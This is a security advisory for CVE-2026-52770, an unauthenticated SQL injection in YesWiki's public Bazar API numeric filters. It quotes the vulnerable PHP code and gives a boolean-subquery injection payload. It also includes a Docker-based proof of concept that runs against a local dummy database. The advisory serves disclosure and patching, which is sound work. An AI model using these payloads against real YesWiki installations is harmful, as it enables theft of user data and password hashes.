CVE-2026-52770

Description

### Summary YesWiki’s public Bazar entry-listing APIs are vulnerable to unauthenticated SQL injection in numeric `query` / `queries` filters. For Bazar fields whose value structure is numeric, YesWiki escapes the attacker-controlled filter value but inserts it into SQL without quotes or numeric validation. An unauthenticated attacker can inject boolean SQL expressions and infer database contents from whether entries are returned. ### Details The public Bazar API reads attacker-controlled query filters from GET parameters: ```php // tools/bazar/controllers/ApiController.php $vQuery = $_GET['query'] ?? $_GET['queries'] ?? null; $vQuery = $vSearchManager->aggregateQueries( !empty($selectedEntries) ? ['queries' => ['id_fiche' => $selectedEntries]] : [], isset($vQuery) ? urldecode($vQuery) : '' ); ``` Relevant public routes include: ```php @Route("/api/forms/{formId}/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}}) @Route("/api/entries/{output}/{selectedEntries}", methods={"GET"}, options={"acl":{"public"}}) @Route("/api/entries/bazarlist", methods={"GET"}, options={"acl":{"public"}}) ``` The query is passed into `BazarListService::getEntries()` and then into `SearchManager::search()`: ```php // tools/bazar/services/BazarListService.php $vLocalEntries = $vSearchManager->search( array_merge( $pOptions, [ 'formsIds' => $vLocalIDs, ] ), true, true ); ``` The vulnerable sink is in `SearchManager::buildQueriesConditions()`: ```php // tools/bazar/services/SearchManager.php if ($vDescriptor['_type_'] == 'number') { if (isset($vValue) && trim($vValue) !== '') { $vValueConditions[] = 'CAST(' . mysqli_real_escape_string($this->wiki->dblink, $this->renameJSONPathVariable($vFieldName)) . ' AS DOUBLE) ' . $vComparisonOperator . ' ' . mysqli_real_escape_string($this->wiki->dblink, $vValue); } } ``` Because numeric values are not quoted, SQL syntax remains active after escaping. For example, the following value is accepted as part of the numeric expression: ```text 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0 ``` This produces a predicate equivalent to: ```sql CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0 ``` Read ACL filtering and Bazar Guard processing do not prevent exploitation because the injected SQL expression is evaluated by the database before returned rows are post-processed. Numeric Bazar filters are a documented/common feature. The documentation includes examples such as: ```text query="bf_age>18" query="bf_age >= 20 | bf_age < 40" ``` Bazar numeric fields are also common through field types such as `number`, `range`, and map latitude/longitude fields. ### PoC The following local-only PoC uses the shipped `SearchManager` code with a minimal MariaDB fixture. It demonstrates that a true injected boolean subquery changes the returned entries, while a false subquery does not. Run from the repository root: ```bash set -euo pipefail; name="yeswiki-audit-db-$$"; docker run -d --rm --name "$name" -e MARIADB_ROOT_PASSWORD=auditpass -e MARIADB_ROOT_HOST='%' -e MARIADB_DATABASE=yeswiki mariadb:11.4 >/dev/null; trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT; until docker exec "$name" mariadb-admin ping -h127.0.0.1 -uroot -pauditpass --silent >/dev/null 2>&1; do sleep 1; done; docker run --rm -i --network "container:$name" -v "$PWD:/repo:ro" --entrypoint php phpmyadmin:5.2.1 -d error_reporting=E_ERROR -d display_errors=1 <<'PHP' <?php namespace YesWiki\Bazar\Service { class EntryManager { public const TRIPLES_ENTRY_ID = 'yeswiki-entry'; } class FormManager { public function getMany($ids) { return [1 => ['prepared' => [new \DummyNumberField()]]]; } } } namespace { class DummyNumberField { public function getPropertyName() { return 'bf_age'; } public function getValueStructure() { return ['bf_age' => ['_mode_' => 'single', '_type_' => 'number']]; } } class DummyServices { public function get($class) { if ($class === 'YesWiki\\Bazar\\Service\\FormManager') { return new \YesWiki\Bazar\Service\FormManager(); } if ($class === 'YesWiki\\Bazar\\Service\\EntryManager') { return new \YesWiki\Bazar\Service\EntryManager(); } throw new \RuntimeException('Unexpected service: ' . $class); } } class DummyWiki { public $dblink; public $services; public function __construct($dblink) { $this->dblink = $dblink; $this->services = new DummyServices(); } public function GetConfigValue($name, $default = null) { return $name === 'min_search_keyword_length' ? 3 : $default; } public function UserIsAdmin() { return false; } public function getUserName() { return 'Anonymous'; } } class DummyDbService { public function getCollation(): string { return 'utf8mb4_unicode_ci'; } public function prefixTable($tableName) { return ' yeswiki_' . $tableName . ' '; } } class DummyAclService { public function updateRequestWithACL() { return '1=1'; } } require '/repo/tools/bazar/services/SearchManager.php'; $db = mysqli_connect('127.0.0.1', 'root', 'auditpass', 'yeswiki'); if (!$db) { throw new \RuntimeException(mysqli_connect_error()); } mysqli_set_charset($db, 'utf8mb4'); foreach ([ "CREATE TABLE yeswiki_pages (id INT PRIMARY KEY AUTO_INCREMENT, tag VARCHAR(64), time DATETIME DEFAULT CURRENT_TIMESTAMP, user VARCHAR(64), owner VARCHAR(64), latest CHAR(1), comment_on VARCHAR(64), body JSON)", "CREATE TABLE yeswiki_triples (resource VARCHAR(64), value VARCHAR(64), property VARCHAR(128))", "CREATE TABLE yeswiki_users (name VARCHAR(64), password VARCHAR(256), email VARCHAR(191))", "INSERT INTO yeswiki_users VALUES ('admin', 'dummy_hash_marker', 'secret@example.test')", "INSERT INTO yeswiki_pages (tag,user,owner,latest,comment_on,body) VALUES ('EntryA','alice','alice','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryA','bf_age','10')), ('EntryB','bob','bob','Y','',JSON_OBJECT('id_typeannonce','1','id_fiche','EntryB','bf_age','20'))", "INSERT INTO yeswiki_triples VALUES ('EntryA','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type'), ('EntryB','yeswiki-entry','http://outils-reseaux.org/_vocabulary/type')", ] as $sql) { if (!mysqli_query($db, $sql)) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); } } $ref = new \ReflectionClass(\YesWiki\Bazar\Service\SearchManager::class); $sm = $ref->newInstanceWithoutConstructor(); foreach (['wiki' => new DummyWiki($db), 'dbService' => new DummyDbService(), 'aclService' => new DummyAclService()] as $prop => $value) { $rp = $ref->getProperty($prop); $rp->setAccessible(true); $rp->setValue($sm, $value); } $cases = [ 'control_no_match' => 'bf_age>100', 'boolean_true_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users)>0', 'boolean_false_subquery' => 'bf_age>100 OR (SELECT COUNT(*) FROM yeswiki_users WHERE 0)>0', ]; foreach ($cases as $label => $query) { $params = ['queries' => $query, 'formsIds' => [1]]; $sql = $sm->prepareSearchRequest($params, true, false); $result = mysqli_query($db, $sql); if (!$result) { throw new \RuntimeException(mysqli_error($db) . " in " . $sql); } $tags = []; while ($row = mysqli_fetch_assoc($result)) { $tags[] = $row['tag']; } sort($tags); printf("%s: %d rows [%s]\n", $label, count($tags), implode(',', $tags)); if ($label === 'boolean_true_subquery') { echo "where_fragment=" . preg_replace('/^.* WHERE /s', '', $sql) . "\n"; } } } PHP ``` Expected vulnerable output: ```text control_no_match: 0 rows [] boolean_true_subquery: 2 rows [EntryA,EntryB] where_fragment=((CAST(bf_age AS DOUBLE) > 100 OR (SELECT COUNT(*) FROM yeswiki_users)>0)) AND 1=1 boolean_false_subquery: 0 rows [] ``` The no-match control returns no rows. The false injected subquery also returns no rows. The true injected subquery returns rows, proving that attacker-controlled SQL is evaluated inside the numeric filter. ### Impact This is an unauthenticated SQL injection vulnerability. An attacker can use public Bazar API endpoints as a boolean oracle to infer data accessible to the YesWiki database user. This may include user account data, password hashes, password recovery material, private wiki metadata, or other sensitive database contents.